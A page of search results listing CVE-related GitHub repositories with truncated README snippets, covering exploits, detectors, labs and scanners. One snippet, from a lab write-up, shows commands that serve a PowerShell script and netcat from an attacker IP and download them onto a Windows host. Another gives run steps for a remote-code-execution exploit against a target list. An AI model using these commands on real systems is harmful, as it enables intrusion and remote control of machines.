1304039 matches found
Openssl_G2.5_CVE-2014-3570_01
OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. 説明 OpenSSLプロジェクトは、Secure Sockets Layer（SSL v2/v3）およびTransport Layer Security（TLS...
php_filter_chains_oracle_exploit_for_CVE-2023-6199
PHP filter chains: file read from error-based oracle. Updated Script to exploit CVE-2023-6199 A CLI to exploit parameters affected by the file read caused by the the error-based oracle of PHP filter chains. It can be used to leak the content of a local file when passed to vulnerable functions, su...
Detecting-and-Analyzing-CVE-2024-24919-Exploitation
🔍 使用 Let’s Defend SIEM 调查零日攻击 👉 有关检测和分析 CVE-2024-24919 漏洞利用的演练 🎯 调查目的 本项目旨在调查针对 Check Point Security Gateway 的潜在漏洞利用尝试 ，特别是利用零日漏洞 CVE-2024-24919 的行为。目标是确定该告警是误报还是真实的入侵尝试，分析流量，并采取适当的遏制和响应措施。 🛠️ 使用的工具与环境 SIEM 平台 : Let’s Defend（基于云的威胁检测和调查工具） 虚拟实验环境 : Let’s Defend 内部提供 目标主机 : CP-Spark-Gateway-01...
linux-4.19.72_CVE-2022-30594
Kernel de Linux Hay varias guías para desarrolladores y usuarios del kernel. Estas guías se pueden generar en varios formatos, como HTML y PDF. Por favor, lea primero Documentation/admin-guide/README.rst. Para generar la documentación, use make htmldocs o make pdfdocs. La documentación formateada...
CVE-2026-44788
CVE-2026-44788 Test...
Windows-RCE-exploits
我的另一个用于针对无文件攻击进行厂商测试的 GitHub 仓库 - https://github.com/smgorelik/VendorSimTestScripts Windows-RCE-exploits 该漏洞利用样本数据库是一个用于 WINDOWS 的 RCE （远程代码执行）漏洞利用及概念验证（Proof-of-Concepts）的仓库，样本上传仅用于红队和蓝队的教育目的。 概念验证（Proof of Concepts）始终通过在相关漏洞利用文件夹名称中的 PoC 标识，这些样本始终会弹出计算器或消息框，因此很容易被许多杀毒软件（AV）识别（从而阻止计算器 shellcode）...
EXPLOIT-CVE-2026-63030
实验 — CVE-2026-63030 “wp2shell” + CVE-2026-60137 Docker 环境故意存在漏洞 ，使用 WordPress Core 7.0.1 和一个 Python exploit 来演示 预认证 wp2shell 攻击链： CVE| 组件| 说明 ---|---|--- CVE-2026-63030| REST API /wp-json/batch/v1| 路由混淆 ：子请求验证与分发之间的不同步 CVE-2026-60137| WPQuery authornotin| 当值为字符串 而非数组时的 SQL 注入 连接在一起，允许攻击者无需任何凭证 执行...
vankyo-s30-bootloader-unlock
Desbloqueo del Bootloader Vankyo S30 Desbloquea el bootloader en una Vankyo MatrixPad S30 Unisoc SC9863A usando el método CVE-2022-38694 FDL1. El BootROM de la S30 acepta FDL1 sin firmar en modo descarga sin requerir el bypass ROP, lo que simplifica significativamente el desbloqueo. Inicio Rápido...
log4j-quick-scan
log4j-quick-scan Scan your IP network and determine hosts with possible CVE-2021-44228 vulnerability in log4j library. There are far better and advanced tools for security audit, but many of them requires commercial penetration software or external, 3rd party service or software. This script is...
CVE-2022-25020
此存储库没有 README。...
codeql-scanner
drupalgeddon2 The exploit python script for CVE-2018-7600...
CVE-2025-55182_full_exploit
CVE-2025-55182fullexploit this repo have CVE-2025-55182 full exploit with RCE Step to run the exploit 1. Install Dependencies pip install -r requirements.txt 2. Run exploit python3 exploit.py targetlist.txt "command"...
CVE-2014-6271
此存储库没有 README。...
CVE-2025-48384
This repository does not have a README...
reproducer-poc-CVE-2022-0847
CVE-2022-0847（脏管道）的朴素检测器与复现工具。 使用系统调用序列/程序的简单生成器，基于刻意受限的构建块/输入值集（仅生成，无高级模糊测试；无变异；无覆盖率引导；无缩减/最小化），并通过对比每个操作在模型和真实内核上的返回值来检测异常行为（基于模型的差异模糊测试）。 免责声明：代码中使用了大量魔数/技巧/内置值作为构建块，以能够生成触发最小化PoC。 因此，它并不真正（仅部分）代表真实情况下通过正确参数生成正确系统调用序列的典型做法。 在巨大的可能状态空间中，对所有参数进行无引导生成可能耗时过长。 我尝试用字符串"MAGIC...
CVE-2025-3248
CVE-2025-3248 Exploit Tool Documentation Introduction This tool is used to exploit the CVE-2025-3248 vulnerability a Python-based code injection vulnerability to achieve remote command execution RCE on the target server by crafting malicious payloads. The vulnerability exists in a web application...
CVE-2022-29856-PoC
CVE-2022-29856-PoC CVE-2022-29856 的最小 PoC 致谢：https://dolosgroup.io/blog/2022/4/28/anatomy-of-a-zero-day-how-to-decrypt-a-robot...
checkmk_cve-2024-0670
checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...
